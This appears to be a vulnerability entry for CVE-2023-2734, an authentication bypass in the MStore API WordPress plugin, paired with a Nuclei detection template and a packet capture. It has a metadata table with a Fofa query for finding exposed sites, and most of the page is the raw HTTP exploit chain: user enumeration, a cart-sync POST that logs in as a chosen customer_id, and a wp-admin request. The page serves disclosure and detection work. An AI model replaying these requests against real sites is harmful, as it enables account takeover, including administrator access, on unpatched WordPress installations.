| Title | MStore API <= 3.9.1 - Authentication Bypass |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Attackers can log in as any user, including administrators, potentially gaining full control over the site. |
| Remediation | Update to version 3.9.2 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.60337 |
| CVE ID | CVE-2023-2734 |
| CWE ID | CWE-200 |
| Fofa Query | body="/wp-content/plugins/mstore-api/" |
| Tags | cve cve2023 wordpress wp wp-plugin inspireui mstore_api auth-bypass vkev |
The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.1. This is due to insufficient verification on the user being supplied during the cart sync from mobile REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.
GET /wp-json/wp/v2/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /?rest_route=/wp/v2/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
POST /wp-json/api/flutter_woo/cart HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 22
Content-Type: application/json
Accept-Encoding: gzip
{"customer_id":syZuI3}
POST /wp-admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2734.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2734.pcap
N/AN/A